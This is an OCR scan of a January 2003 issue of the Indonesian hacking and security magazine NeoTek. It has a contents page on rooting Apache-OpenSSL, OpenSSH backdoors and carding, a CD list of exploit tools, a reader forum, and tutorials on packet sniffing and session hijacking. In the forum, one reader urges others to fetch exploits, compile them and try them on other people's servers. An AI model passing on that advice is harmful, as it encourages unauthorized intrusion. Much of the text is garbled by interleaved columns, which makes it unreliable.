Está en la página 1de 50

NeoSoft

amkm Perdana
Permintaan Anda Kami Penuhi
Kami dapat men-download-kannya untuk anda...

Pada CD NeoTek bulan ini download perangkat lunak itu, kami dapat
untuk pertama kali kami membantu anda untuk men-download-kannya.
menyertakan 14 program Ke-14 program yang kami sebutkan di atas
atau perangkat lunak dapat anda jumpai pada folder amkm.
hasil permintaan anda,
para pembaca setia Nah, jika anda pun menghadapi masalah yang
NeoTek. sama untuk mendapatkan program atau
perangkat lunak dari Internet, anda dapat
Mungkin ketika berse- mencoba menghubungi kami lewat email.
lancar di dunia maya anda kerap menemukan Email dialamatkan ke:
perangkat lunak gratis yang menarik serta anda
perlukan, tetapi terlalu besar ukurannya untuk • kosasih_iskandasjah@yahoo.com
anda download sendiri. Jika anda mempunyai • Subject: amkm
kesulitan untuk mengambil atau men- • Isi pesan: Mohon download-kan [nama
program] dari [www.blablabla.com].

MAKMUR DISC & BOOKSTORE


One Stop Shopping for Your PC Media Needs!

♦Menyediakan berbagai macam jenis CD Blank, CDRW (Rewritable), DVD-


ROM (Blank), dan diskettes seperti: BenQ, CMS, Fuji Film, Imation, Lite-On,
Maxell, Verbatim, Sony, TDK, Matrix, Mediatech, Mitsubishi, Mycom,
ViaBrand. Juga menyediakan berbagai macam CD Label, Box / Casing, CD
Bags dan Cover CD (Eceran / Partai) Dealers Welcome!
♦Menerima transfer dari berbagai media seperti: Betacam, Betamax, VHS, DV /
Mini DV, Video 8, Hi-8mm, Hi-8 Digital, LD, DVD ke dalam bentuk VCD /
DVD. Juga melayani penambahan sub-title / editing dalam bentuk VCD, dan
menerima penggandaan hasil transfer. Harga dan kualitas dijamin seperti
aslinya, dan bergaransi.
♦Menerima jasa CD-Duplicating (Duplikasi CD) untuk keperluan Company
Profile, Event Promotion, Katalog Produk/Barang, Souvenir Pernikahan,
Undangan, Wisuda, Ulang Tahun, Kartu Nama, Software Demo, Production
House /Multimedia Promo lain. Harga bersaing dan dibuat secara profesional,
mutu terjamin, baik dalam jumlah kuantitas besar dan kecil. Bisa Diantar.
♦Agen/penyalur resmi dari buku-buku dan tabloid komputer seperti: CHIP,
Infokomputer, InfoNet, NEOTEK, PC Media, Komputer-Aktif, InfoLinux,
ComputerEasy, Tabloid PCPlus, Game21 /PC21, Anime dengan harga spesial.
Juga menyediakan berbagai software akuntansi/administrasi untuk keperluan
kantor dan edukasi untuk anak-anak baik dalam berbahasa Indonesia, dan
Inggris buatan Elex Gramedia, dan vendor lainnya.
Makmur
♦ Disc ♦ Online ♦ Computer Stationery
M2M (Mangga Dua Mal)
Kupon Rabat
Lt II No. 8, 9B, dan 10 Rabat 10% untuk Transfer VCD
Jl. Arteri Mangga Dua Raya Rabat 10% untuk CD Game/Education
Jakarta Pusat - 10730 Rabat 5% untuk buku/majalah
Phone: (62-21) 612 7936, 601 7517, 612 8718 Ttunjukkan kupon ini ketika berbelanja di Makmur Disc, Makmur
Fax: (62-21) 600 8802 Online & Makmur Computer Stationery pada alamat di samping.
E-mail: mky2000@cbn.net.id
HomePage

amkm Salam!
anda Soal hacking, Windows
meminta ataupun Linux sama disasar!
kami
mendownload
Software gratis
di Internet?
Tapi besarnya...
50Mb... 200Mb?

sa—elephant • Apache Chunked Scanner dapat digunakan untuk ‘ngeroot’ Apache OpenSSL.
Ketika target ditemukan, Apache Chunked Scanner memberi indikasi server yang

sa—gajah
mungkin dapat ‘diserang.’

ika sudah bicara hacking, para hacker rupanya tidak


Kami dapat J pilih bulu. Windows ataupun Linux sama saja. Di
mana ada “lubang,” di situ ada jalan. Begitu
men-
mungkin kira-kira semboyan para hacker dalam kaitannya
download- dengan kegiatan hacking mereka.
kannya
untuk anda. Maka jangan heran kalau pada nomor ini NeoTek mengete-
ngahkan bahwa Apache pun, yang merupakan Web server
Kirimkan email ke: berbasis Linux, tidak lolos dari incaran ngeroot para hacker
kosasih_iskandarsjah@yahoo.com dengan berbagai teknik dan tools.
dengan:
• Subject: amkm Redaksi
• Isi pesan: Mohon download-kan redaksi@neotek.co.id
[nama software] dari
[www.blablabla.com] Bagaimana menghubungi N EOTEK?
KONTRIBUSI ARTIKEL
redaksi@neotek.co.id ADMINISTRASI IKLAN
SURAT PEMBACA Tel. 021-5481457 Fax. 021-5329041
support@neotek.co.id SIRKULASI NEOTEK
WEBMASTER Tel. 021-3854764
webmaster@neotek.co.id ALAMAT REDAKSI
PEMASARAN Gedung Cahaya Palmerah Suite 506
pemasaran@neotek.co.id Jl. Palmerah Utara III No. 9
Jakarta 11480
CHATROOM DI DALNET
#neoteker
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek

Januari 2003 NeoTek 1


Daftar Isi

Daftar Isi 12
NeoTek Vol. I I I No. 4
Mengenal Kriptografi
20 Metode Hacking
NeoStart Salah satu metode untuk men-
jaga keamanan data adalah
Buffer Overflow
Buffer overflow dapat meng-
dengan mengenkripsinya. Kriptografi akibatkan suatu sistem crash. Ini terjadi
Memahami TCP adalah ilmu untuk menghasilkan jika variabel yang tersedia pada aplikasi
7 3-Packet Handshake enkripsi. tidak dapat menampung input yang
WinPcap dan Ethereal sengaja dibuat berlebihan.
Secure Protocol
membantu anda memahami proses
14 Secure protocol menjamin Fingerprint Port 80
komunikasi jaringan, lewat suatu
tampilan visual. bahwa data yang dilewatkan 22 Fingerprint Port 80 adalah
antara client dan server terenkripsi dan teknik serangan yang dilakukan
Packet Sniffing
8 Transmisi Clear Text
bahwa hubungan terjalin antara pihak
yang seharusnya.
terhadap Port 80.

Data teks biasa dengan mudah Rooting dengan Exploit


disadap oleh pihak lain dengan metode 25 Apache-OpenSSL
brute force attack atau exhaustive key
serach.
NeoTekno Dengan menggunakan rootkit,
OpenSSL yang vulnerable dapat ditam-
pilkan root console-nya.
Otentikasi & Enkripsi Instalasi OpenSSH
10 Otentikasi dan enkripsi adalah 16 OpenSSH merupakan Apache Chunked
dua teknologi yang saling ber-
hubungan untuk mengamankan data.
implementasi terhadap protokol
SSH yang sejak awal ditujukan untuk
28 Scanner
Share tool yang dapat diguna-
menggantikan protokol telnet dan rlogin
kan untuk mencari target Apache untuk
yang tidak secure dengan protokol SSH.
rooting Apache-OpenSSL.

Backdoor dengan
18 OpenSSH 30 Rooting dengan Exploit
dan OpenSSH
OpenSSH dapat dimodifikasi
Hacking terhadap server
untuk menjadi backdoor pada suatu
hosting dengan menggunakan exploit
server.
untuk mendapatkan akses root.

www.neotek.co.id
Situs NeoTek neotek.kpone.com.sg 32 Melindungi File
dengan Enkripsi
Beberapa utilitas yang dapat
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
digunakan untuk mengenkripsi file anda
Link Langsung Layanan Rupa-rupa NeoTek sehingga aman.
Kunjungi situs-situs yang dibahas di Perlengkapan berinternet dari situs NeoTek
majalah NeoTek dengan sekali klik
Digital Clock (4)
lewat situs NeoTek. Channel #neoteker di Dalnet
Ngobrol ramai-ramai sesama NeoTeker 43 Membuat jam dengan dua
NeoTek versi PDF Web Chat Room buah timer dan output berupa
Kehabisan NeoTek di kota Anda? Kini tidak usah jauh-jauh untuk ngobrol relay yang mempunyai banyak fungsi
Dapatkan saja versi PDF-nya. Gratis! langsung dengan sesama NeoTeker dan bunyi beep.
Mailing List
Download Webmail Server Linux:
Tersedia juga download di situs
NeoTek selain dari situs aslinya
Ini yang paling ramai. Segera ikutan
berbagi pengalaman berinternet! 47 Squirrelmail
NeoTeker Official Portal Squirrelmail adalah paket
http://neotek.portal.dk3.com webmail standar yang ditulis dalam
Situs komunikasi antar Neoteker. bahasa pemrograman PHP4.

2 NeoTek Januari 2003


Daftar Isi

FOKUS BULAN INI NeoSoft


amkm Perdana
0 NeoTek dapat membantu
anda men-download-kan
program gratis dari
Internet.

NeoProfil
Kru NeoTek
3 Bermarkas di
Gedung Cahaya Palmerah 503
Jl. Palmerah Utara III No. 9

Rooting Terhadap Jakarta 11480


Telp. 021-5481457

Apache Server Fax. 021-5329041

Pemimpin Umum
Fachri Said
Pemimpin Redaksi
Kosasih Iskandarsjah
Redaktur Ahli

NeoTutor NeoStyle Onno W. Purbo


Michael S. Sunggiardi
Pemimpin Usaha
PHP Praktis Outtasight
35 Myneoguestbook 45 Utilitas untuk menyembunyikan
Fahmi Oemar
Ridwan Fachri
Cara membuat fasilitas buku aplikasi yang sedang digunakan. Redaktur Pelaksana
tamu untuk situs Web anda dengan Gianto Widianto
menggunakan PHP. Dadi Pakar
Sekretaris Redaksi
Event pada JavaScript
41 Event adalah fungsi yang
Elvy Risma Nainggolan
Dewan Redaksi
biasanya bekerja setelah suatu
David Sugianto,
tindakan dilakukan sehingga skrip
Asmuri Anwar, MA Rody C.
menjadi interaktif.
Webmaster
NeoTek Februari 2003 Supriyanto
Inbox Nick Password Cracking
Pemasaran
Hedhi Sabaruddin
NmN pada IRC
6 Neoteker menjawab Neoteker
dalam forum milis NeoTek
Hati-hati, nick password anda dapat
diintip dengan pelbagai cara.
Tuti Sundari, Arinto
Iklan dan Promosi
Elvy Risma Nainggolan
NeoRagam e-Commerce Security Keuangan
Modus Operandi Carder Aswan Bakri
Ada Apa di CD NeoTek? Setelah membahas carding secara
4 Multimedia Player lugas di NeoTek III/2 November 2002,
Network Security kali ini akan dilanjutkan dengan mem- Bank
bahas modus operandi carder
Bank BNI
Daftar Isi CD NeoTek serta teknik memanfaatkan kelemah-
5 Antivirus: Dari McAfee an shopping cart yang populer
a.n. PT NeoTek Maju Mandiri
No. rekening 070.001709720.001
sampai PC Cillin pada banyak situs e-commerce:
Service Pack dari Microsoft cart32.exe dan shopper.cgi Bank BCA KCP Rawamangun
a.n. Aswan Bakri
Awas! Bukan untuk dipraktikkan!
No. rekening 0940544131

Januari 2003 NeoTek 3


NeoRagam

Ada Apa di CD NeoTek?


CD NeoTek Network security merupakan bahasan utama kali ini yang mencakup
Januari 2003 otentikasi dan enkripsi, khususnya menggunakan protokol SSL dan SSH. Ini
dilanjutkan dengan membahas vulnerabilities pada Apache Web Server.

M U LTI M E DIA PLAYE R


Australia lewat portal berita
http://www.indoexplorer.com/
Selain RealOne Player da-
patkan juga berbagai multi-
media player mutakhir
lainnya di CD NeoTek kali
etelah sering kali ini. Semuanya untuk ke-
S membahas kele-
mahan Windows
nikmatan anda berinternet.
sampai men-deface situs Multimedia Player
Web berbasis Windows, kini XDivX Player
kita beralih ke Linux. XQuick Time 6
Ternyata banyak sekali XRealOne Player
exploit yang tersedia untuk XWinAmp 3.0
memanfaatkan kelemahan XWin Media Player 9
Linux, khususnya Apache
Web Server. Termasuk yang apatkan rekaman Player, selain juga siaran
dilindungi oleh OpenSSL
sekalipun! D Liputan 6, berita
TVRI, yang dapat
radio live! dari Radio
Sonora, Salvatore Surabaya,
Bahasan ini diselaraskan dimainkan lewat RealOne PAS FM Jakarta, dan Radio
dengan bahasan network
security, khususnya pro-
tokol SSL dan SSH dengan
bahasan terhadap enkripsi
N E T WO R K S E C U R I T Y
yang tersedia. Melanjutkan bahasan network security, kita
Sejalan dengan itu, dibahas bahas juga network insecurity, yang kali ini
juga aplikasi enkripsi untuk menunjukkan bahwa pada Apache web server
melindungi file dan folder berbasis Linux pun terdapat banyak
anda pada sistem operasi kelemahan yang dapat dieksploitasi.
Windows.
Network Security
Antivirus yang dimuat di XEthereal 0.9.7 Windows
CD NeoTek II/11 Agustus XWinPcap 3.0
2002 mengalami masalah, XOpenSSH 3.4.3 Windows
yaitu banyak file yang XOpenSSH 3.5 Linux
corrupted. Untuk itulah XPuTTY
pada edisi kali ini semua XOpenSSL 0.9.6 Linux
antivirus yang pernah XSSLeay 0.9.0
dimuat di edisi itu dimuat XTeraterm 2.3 Win9x/NT
kembali. Demikian juga
dengan beberapa MS B ahasan network security dimulai de-
ngan menunjukkan betapa mudah-
Xc2myazz
Xgzip (installation tool)
service pack yang banyak nya kita secara pasif memonitor Xzlib (installation tool)
dicari-cari. paket data yang dilewatkan pada Internet.
Perkembangan baru juga Kita gunakan Ethereal suatu tool yang Linux Hacking Tool
terdapat di dunia multi- berbasis WinPcap. XApache Chunked Scanner
media. Selain Windows Selanjutnya bahasan otentikasi dan en- XFTP Exploit (rooting Apache)
Media Player 9 (untuk kripsi yang berlanjut ke secure protocol Xopenssl-too-open
Windows Px atau XP) SSL dan SSH yang masing-masing mem- XGNU Debugger
serta WinAmp 3, terdapat punyai implementasi free software-nya,
pula RealOne Player, baik pada Linux, Windows, maupun sistem
Quick Time 6, dan DivX operasi lan. Salah satu yang paling populer
Player. adalah PuTTY.

4 NeoTek Januari 2003


NeoRagam

daftar isi cd neotek Anti Virus


AMKM
Advanced Office 2000 PW Rec adof2000.zip DAR I N O RTO N SAM PAI PC C I LI N
Cubase Linux Game cube_2002_10_20
JSoft Sec. Manager for SQL secman.zip
McAfee Uninstaller Trial UNIENU65D30.exe
MDaemon 6.5.0 md_en.exe
MySQL GUI mysqlgui-win32-static-1.7.5-2.zip
MySQL Win Admin 104 MySQLWinAdmin-104.zip
Netscape 7 Windows NSSetupB.exe
Relay Fax 5.01 re_en.exe
Relay Fax OCR Driver rfocr501_en.exe
Relay Fax Printer Driver rfcl501_en.exe
Resource Hacker 3.4 Reshack.zip
Web Admin 2.01 wa_en.exe
Win MySQL Admin winmysqladmin-3.23.36.zip
ANTI VIRUS
Anti Klez AntiKlez.exe
Anti Myparty AntiMyparty.exe
AntiVir for Win 9x avwin9xp.exe
AVG 6.0 Anti-virus avg636fu.exe
F-CIH f-cih.exe
Fix-CIH fix-cih.exe
McAfee Virus Scan 6.01 McAfeeVSUpgrade.exe
Norton Anti Virus 2002 Setup.exe D NeoTek nomor virus Klez, kami menyer-
Panda Titanium 2
PC Cillin
PandaTitanium2.exe
pcc2k.exe
C ini kembali me-
nyertakan pro-
takan Anti Klez. Untuk
virus CIH yang berbahaya
ENKRIPSI gram-program anti virus bagi sistem komputer anda
Abi Coder AbiCoder.exe mengingat pentingnya itu pun kami sertakan dua
EasyCrypto Deluxe ecSetup.exe program semacam ini buah anti virusnya yaitu F-
Mooseoft Encryptor Encryptor.exe untuk keamanan anda CIH dan Fix-CIH.
Kryptel kryptel.exe dalam berkomputer.
PowerCrypt 2000 pcrypt42 Ke-10 program anti virus
PGP (Pretty Good Privacy) PGPFW703.zip Semuanya ada sembilan ini juga dimaksudkan
program anti virus yang sebagai pengganti program
LINUX HACKING TOOL kami sertakan pada CD anti virus yang pernah
Apache Chunked Scanner Apache-Chunked-Scanner.zip
FTP Exploit ftp.zip NeoTek nomor ini yang dimuat pada CD NeoTek
GNU Debugger 5.2.1 gdb-5.2.1.tar.gz daftar lengkapnya dapat Vol II No 11, Agusuts 2002
OpenSSL Exploit (1) openssl-too-open.tar.gz anda lihat pada daftar isi yang mengalami masalah,
OpenSSL Exploit (2) sendmail.tar.gz CD NeoTek. yaitu banyak file-nya yang
MICROSOFT SERVICE PACKS Untuk anda para pengguna corrupted. Kami menyimak
Office XP Service Pack 1 oxsp1.exe McAfee Virus Scan kami keluhan dari anda dan
Office XP Service Pack 2 oxsp2.exe tidak lupa menyertakan berusaha memperbaiki
Win 2000 Service Pack 3 WK2sp3.exe upgrade bagi McAfee Virus kesalahan yang ada pada
Win XP SP1 Home/Prof. xpsp1_en_x86.exe CD terdahulu itu lewat CD
Scan 6.01. Sedangkan un-
MULTIMEDIA PLAYER tuk yang kerepotan dengan nomor ini.
DivXPlayer DivXPro502GAINBundle.exe
Quick Time 6 Quick TimeInstaller.zip
RealOne Player RealOnePlayerV20GOLD.exe
WinAmp 3.0
Win Media Player 9 9x
winamp3_0-full.exe
mpsetup.exe
Service Pack dari Microsoft
Win Media Player 9 XP mpsetupxp.exe
Service Pack untuk program-program keluaran Microsoft
NETWORK SECURITY diperlukan, tetapi biasanya service pack itu berukuran
c2myazz c2myazz.zip
Ethereal 0.9.7 Win ethereal-setup-0.9.7.exe
besar sehingga pengguna koneksi dial-up sulit untuk
gzip gzip-1.2.4.tar.gz men-download-nya. Untuk itulah kami men-download-
OpenSSH 3.4.3 Win openssh34-3.zip kannya untuk anda. Keempat service pack itu daftarnya
OpenSSH 3.5 Linux openssh-3.5p1.tar.gz dapat anda lihat pada tabel di samping. Adapun Service
OpenSSL 0.9.6g openssl-0.9.6g.tar.gz Pack untuk IE 6 sudah dimuat di NeoTek Desember 2002
OpenSSL 0.9.6g Engine openssl-engine-0.9.6g.tar.gz
PuTTY putty.exe
SSLeay 0.9.0 SSLeay-0.9.0.tar.gz
SSLeay 0.9.0 Win 32 SSLeay-0.9.0.win.dll.tar.gz
TeraTerm 2.3 Win9x/NT ttermp23.zip
WinPcap 3.0 WinPcap_3_0_a4.exe
zlib114 zlib-1.1.4.tar.gz
PROYEK
MyNeoGuestBook
auth-passwd.c
version.h
Neoclock2

Januari 2003 NeoTek 5


Inbox

NmN
NeoTeker menjawab NeoTeker
Forum ini dimaksudkan sebagai bentuk offline dari mailing list
NeoTek di http://groups.yahoo.com/group/majalahneotek.

Tutorial Hacking (pasti) akan kewalahan men- lai dengan mempelajari C, }


baca majalah hacking/ phreak- Perl, pemahaman buffer Compile dengan gcc, lalu
T: Posted October 31 ing seperti phrack (www. overflow, dlsb. Memang mu-
Saya hendak menyampaikan jalankan! Masukkan karakter
phrack.org) dan Black Box lai dari sini porsi Linux ha- lebih dari 3, karna 3 karakter
sedikit opini saya terhadap (http://black.box.sk). rus ditambah. Tapi perlu ju-
tutorial hacking di majalah telah dijatahkan untuk
Saran saya, bagaimana kalau ga diingat bahwa cukup besar variabel s, namun jika lebih
NeoTek, dimana saya meli- pembaca NeoTek yang seke-
majalah neotek juga mem- dari 3
hat NeoTek lebih memfo- dar ingin tahu security/ hack-
bahas - secara berseri (mung- Baca blackbox #13 http://
kuskan diri terhadap serang- ing namun tidak ingin ma-
kin) - bahasa pemprograman black.box.sk. Kalo punya
an langsung terhadap server suk lebih jauh (dan tidak
dasar seorang hacker sep: Linux box di rumah, coba
korban melalui tools instan. ingin beralih dari Windows).
Perl atau C. Dan mulai mem- tambahin user yang seolah-
Saya merujuk dokumen perkenalkan pembaca terha- Kalau langsung ke sini maka olah seorang penyusup, lalu
How to become a hacker dap "Buffer Overflow", dan terlalu sedikit yang dapat login sebagai penyusup.
oleh Eric S. Raymond [bisa penggunaan "Shell Code" Ba- memahaminya. Kini setelah
dibaca di www.tuxedo.org/ ca phrack 49 phile 14 "Smash- yang berminat memahami Coba-coba aja pake sploits di
~esr/faqs/hacker-howto. ing The Stack For Fun And hacking/security makin ba- http://neworder.box.sk. Kalo
html]. Menurut dokumen Profit" oleh Aleph1 ]. nyak, memang sudah saat- aku mencoba ngehack root di
tersebut, untuk memulai nya dibahas. Bila ada yang server sendiri, step nya:
Saya sendiri juga pemula
menjadi hacker, dibutuhkan mempunyai bahan-bahan $ rpm -qa | cat > aplikasi
dalam hacking dan Linux,
skill pemprograman [dalam seperti ini, silakan kirim ke == print
namun mendapat banyak
dokumen disarankan untuk redaksi NeoTek.
sekali pelajaran dengan Buka http://neworder.box.sk ,
manguasai python (www.
"bersakit-sakit" - istilah Kosasih Iskandarsjah cari Linux sploits, cari pro-
python.org), java (http://
saya "Makan Tombak Yang kosasih_iskandarsjah@yahoo.com gram yang berpotensi untuk
java.sun.com), perl (http://
Ujungnya Permen" walau- di hack (sesuaikan versinya
www.perl.org) dan C.]
pun awalnya sakit, tapi Root Exploit dengan yang ada di file apli-
Berlainan dari majalah Neo- ujungnya manis -. kasi), ambil sploits, compile
Tek yang lebih banyak meng- T: Posted November 1
Maaf jika opini saya ini me- Bagaimana sebenarnya prin- dan coba jalankan, kalo bisa.
utamakan serangan menggu- Coba ngisengin server lain
nyinggung "bapak-bapak sip kerja eksploit yang bisa
nakan enumeration tools Ingat, cuma ngisengin.
dan om-om" redaksi Neo- membuat seorang user bia-
dan trojan horse (bo2k)
Tek. Saya begitu antusias sa bisa mendapatkan akses Contoh yang saya berikan cu-
yang menurut saya tidak
terhadap neotek yang "me- root pada sebuah sistem? ma memperkenalkan buffer
begitu mendidik (maaf) -
nukik tajam dalam tahun- overflow. Saya pake gcc di Red-
biasanya trojan horse, dan Cleopatra
tahun terakhir ini", dan saya hat 6.2, gak tau kalo Unix lain.
Legion juga Brutus lebih ba-
ingin ikut "membangun". cleo@cyberspace.org
nyak bermain di lingkungan #include <stdio.h> // header
windows, saya kutip dari Terimakasih atas perhatian
J: Posted November 1 file
buku Onno W. Purbo dan redaksi dan terhadap rekan-
main() { // fungsi main
Akhmad Daniel Sembiring rekan milis saya harapkan Eksploits biasanya menggu- char s[5]; // variabel s bertipe
dalam bukunya yang tanggapannya terhadap nakan buffer overflow untuk karakter sebanyak 5
berjudul: Seri Penuntun opini ini. [Kalau ada yang melakukan eksploitasi. Setelah karakter
Praktis Linux RedHat [ Elex tertarik bisa Privat Line :)] terjadi buffer overflow, Shell scanf("%s", &s); // ambil
Media Komputindo ] yang Code disuntikkan, sehingga input, masukkan ke variabel
Dede user bisa mendapatkan akses
berbunyi “Dengan kata lain, s
Linux "memintarkan" dan monkey_chow@telkom.net root.] printf("%s\n", s); //
bukan "membodohi" pema- J: Posted November 1 Buffer Overflow itu terjadi tampilkan dengan fungsi
kainya dengan bukan hanya apabila input yang dimasuk- printf()
mengajari bagaimana meng- Pendekatan awal memang
lebih ke tools untuk menguji kan melebihi batas memori }
klik suatu tombol.” yang telah ditentukan sebe-
ketahanan jaringan, sekali- Kalo input yang masuk labih
Banyak paper yang saya baca gus untuk menghapus kesan lumnya. Contoh:
seputar perhackingan juga dari 5, terjadi buffer overflow.
bahwa security/hacking itu #include <stdio.h>
mengharuskan menguasai sulit dipahami. Kalo sploits sering mengeks-
main(){
bahasa pemrograman (khu- ploitasi program mail
Selanjutnya memang mulai char s[3];
susnya Perl dan C). Anda
disiapkan artikel seperti yang scanf("%s",&s); Dede
yang tidak manguasai bahasa
anda sarankan tadi, yaitu mu- printf("%s",s);
pemprograman di atas juga monkey_chow@telkom.net
6 NeoTek Januari 2003
NeoStart

NETWORK SECURITY
alam usaha melakukan koneksi TCP,
D request dikirim melalui transport
layer yang men-set flag SYN=1 dan
ACK=0, yang akan dijawab oleh pihak yang

M E MAHAM I TCP dihubungi dengan men-set flag SYN=1 dan


ACK=1, dan terakhir penginisialisasi koneksi
menjawab lagi dengan SYN=0 dan ACK=1

3-PAC K ET HAN DS HAK E Sulit membayangkan proses komunikasi ja-


ringan ini secara konsep, namun dengan
bantuan WinPcap dan Ethereal yang me-
Komunikasi dalam network (termasuk Internet) ada yang nangkap paket-paket yang melewati suatu
bersifat connection-oriented (TCP) dan ada yang connectionless NIC card dan menampilkannya secara visual,
usaha mempelajari komunikasi jaringan ini
(UDP). Pada koneksi TCP selalu berlangsung three-packet menjadi terasa lebih mudah dan nyaman.
handshake, yang di sini transport layer men-set flag WinPcap dan Ethereal terdapat dalam CD
sinkronisasi (SYN) atau acknowledgement (ACK). NeoTek bulan ini.

Mempelajari 3-packet handshake network connection secara visual

INSTALL WPCAP & ETHEREAL JALANKAN ETHEREAL HASIL CAPTURE


1 Pertama kali instal WinPcap, yang
akan berfungsi meng-capture data
2 Double click ikon Ethereal di desk-
top dan pilih Capture > Start yang
3 Jalankan kegiatan apa saja seperti
browsing, mengirim email, atau apa
yang melewati suatu network akan menampilkan jendela Ethereal saja. Setelah itu klik Stop pada
interface card. Setelah itu instal Capture Session. Pilih NIC yang Ethereal Capture Session dan hasil
Ethereal, suatu network monitoring akan dimonitor dan klik OK. capture selama itu akan ditampilkan
tool yang akan menampilkan hasil Packet capture pun berjalan, me- dalam bentuk tampilan tiga
tangkapan WinPcap secara visual. rekam semua kegiatan network. window pane.

TIGA BARIS PERTAMA


4 Pada contoh ini komputer melaku-
kan koneksi TCP ke router (bisa saja
yang lain, seperti koneksi ke ISP).
Perhatikan tiga baris pertama paket
data yang di-capture oleh WinPcap
dan ditampilkan oleh Ethereal, yang
merupakan three-packet handshake.
Mempelajari network menjadi se-
makin menarik, bukan?

Januari 2003 NeoTek 7


NeoStart

NETWORK SECURITY
egitu banyak protokol umum di
B Internet yang melewatkan begitu
saja teks seadanya (clear text) dan
protokol-protokol itu adalah semua yang

TRANSMISI CLEAR TEXT lazim kita pakai.


Protokol-protokol itu adalah FTP (otentikasi
berupa clear text), telnet (otentikasi berupa

BAHAYA PACKET SNIFFING clear text), SMTP (isi pesan email yang
dikirim berupa clear text), HTTP (page con-
tent dan isi dari field dalam formulir berupa
clear text), IMAP (otentikasi berupa clear
Pada awalnya Internet memang belum terlalu banyak mem- text), SNMPv1 (otentikasi berupa clear text).
pertimbangkan security dan privacy. Protokol-protokol yang Kesimpulannya? Pada dasarnya hampir se-
lazim di Internet melewatkan teks (password ataupun isi mua kegiatan yang lazim kita lakukan di
Internet dapat dengan mudah disadap orang,
pesan) dalam bentuk teks biasa (clear text) yang dengan baik itu browsing, mengirim dan menerima
sangat mudah dapat disadap menggunakan sniffer. email, maupun koneksi telnet serta FTP.

Protokol-protokol umum di Internet melewatkan password sebagai clear text

JALANKAN ETHEREAL JALANKAN WS_FTP LE AKSES KE FTP.INDO.NET.ID


1 Jalankan Ethereal dengan jalan
men-double click ikon yang ter-
2 Jalankan FTP client, dalam hal ini
WS_FTP LE. Dalam contoh ini
3 Dengan demikian isikan pada Host
Name/Address: ftp.indo.net.id; Host
dapat pada desktop. Pilih menu kita akan menghubungi FTP type: automatic decet; User ID:
Capture > Start yang akan menam- server IndoNet di ftp.indo.net.id anonymous; dan sebagai password
pilkan jendela Ethereal Capture sebagai anonymous user. Seba- diisikan email kita, dalam hal ini
Session. Pilih NIC yang terhubung gai anonymous user, sebagai kosasih@indo.net.id. Klik OK untuk
ke network dan klik OK. Proses password akan dimintakan email menghubungi FTP server ini.
packet capture berjalan. address kita.

CLEAR TEXT TRANSMISSION


7 Pelajari frame demi frame dan
akan terlihat pada contoh ini
bahwa frame nomor 249 meng-
capture proses otentikasi yang
mengirimkan password ke FTP
server. Jelas bahwa user name
dan password dilewatkan begitu
saja ke Internet sebagai clear text.

8 NeoTek Januari 2003


NeoStart

Oleh karena itulah teks yang dilewat-


kan perlu dienkripsi terlebih dahulu.
Teks yang telah dienkripsi, walaupun
tetap dapat ditangkap oleh sniffer, namun
tidak terbaca.
Untuk membacanya biasanya penyadap
tidak benar-benar melakukan dekripsi,
melainkan mencoba segala macam kom-
binasi cipher key (algoritma kriptografi)
yang dikenal sebagai brute force attack
atau exhaustive key search. Dan ini akan
memakan banyak waktu, bergantung
pada metode enkripsi yang digunakan.
• Hasil capture yang dicetak sebagai file teks
dan kemudian dibuka dengan Wordpad.
Anda dapat melakukan search menggunakan
fasilitas Find pada Wordpad.

TERHUBUNG! CLOSE CAPTURE SESSION HASIL CAPTURE FTP SESSION


4 Kita akan terhubung ke public
directory (/pub) pada FTP server
5 Pada jendela Ethereal: Capture, klik
Stop untuk menghentikan proses
6 Terlihat hasil capture sesi sebe-
lumnya tadi. Anda dapat mem-
ini. Sampai di sini sudah cukup, capture yang kemudian hasil pelajarinya langsung pada jendela
sebab yang kita inginkan adalah capture akan ditampilkan pada tiga-pane ini, atau dapat pula men-
menangkap paket-paket data jendela tiga-pane di jendela cetaknya dulu ke printer maupun
sewaktu kita mengotentikasi diri utama. sebagai file teks (yang dapat di-
kita dan sewaktu mengirimkan buka dengan Wordpad).
password ke FTP server tadi.

}
SNIFFING YAHOO! MAIL
8 Dengan cara yang sama kita dapat
mengirimkan email melalui
mail.yahoo.com. Dalam contoh ini
subject dan isi email kita hanyalah
teks: test clear text capture. Dan isi
email kita terlihat jelas pada frame
nomor 505. Coba sendiri dengan
protokol-protokol lain.

Januari 2003 NeoTek 9


NeoStart

Network Security:
Otentikasi & Enkripsi
Enkripsi dan Otentikasi adalah dua teknologi yang saling berhubungan untuk menjamin data anda
tetap aman. Otentikasi adalah cara untuk memastikan bahwa pihak yang anda hubungi atau yang
menghubungi anda adalah memang sesuai dengan pengakuannya, bukan pihak ketiga yang
menyamarkan diri. Enkripsi adalah teknologi untuk memastikan bahwa informasi yang mengalir
pada suatu sesi tidak diintip atau diubah orang lain (compromised).

Perlunya Enkripsi Session Hijacking


ahwa protokol-protokol yang umum digunakan Katakanlah suatu client yang terhubung ke suatu server
B di Internet melewatkan teks sebagaimana adanya
(clear text) jelas menunjukkan perlunya tekno-
melalui koneksi network yang tidak secure. Client ini
sudah diotentikasi oleh server dan telah memperoleh hak
logi enkripsi untuk melewatkan informasi yang benar- akses dari server berupa hak akses administrator.
benar rahasia mellaui Internet seperti nomor credit card, Pihak ketiga, yaitu penyerang dapat menempatkan dirinya
password, pesan email rahasia, maupun dokumen- di tengah-tengah segmen network tadi dan secara diam-
dokumen berupa file yang di-attach pada email maupun diam memonitor sesi yang sedang berlangsung. Dengan
ditransfer melalui fasilitas FTP (file transfer protocol). sabar penyerang dapat mempelajari segala hal sehubung-
Sudah diperlihatkan pada dua artikel sebelumnya, betapa an dengan sesi ini.
mudahnya seseorang memasang sniffer dan secara pasif Setelah mendapat cukup informasi, penyerang dapat mem-
memonitor clear text yang lewat, merekamnya ke file teks, bajak sesi administrator ini untuk menciptakan suatu account
dan mendapatkan cukup waktu untuk mempelajarinya. baru pada level administrator. Caranya adalah dengan me-
Bahkan paket data yang telah di-capture ini dapat diolah maksa client agar terputus hubungannya dari server. Hal
menggunakan program-program khusus untuk mengeks- ini dapat dilakukan dengan meng-crash komputer client
trak password yang ada (menggunakan dsniff) atau me- dengan mengirimkan misalnya Ping of Death melalui uti-
nampilkan isi email yang dikirimkan (menggunakan litas seperti WinNuke. Juga dapat digunakan ICMP flood
mailsnarf). Dsniff dan mailsnarf telah dibahas di NeoTek yang membuat client sebagai sasaran ini terlalu sibuk
II/7 April 2002. memproses begitu banyak request ICMP, sehingga tidak
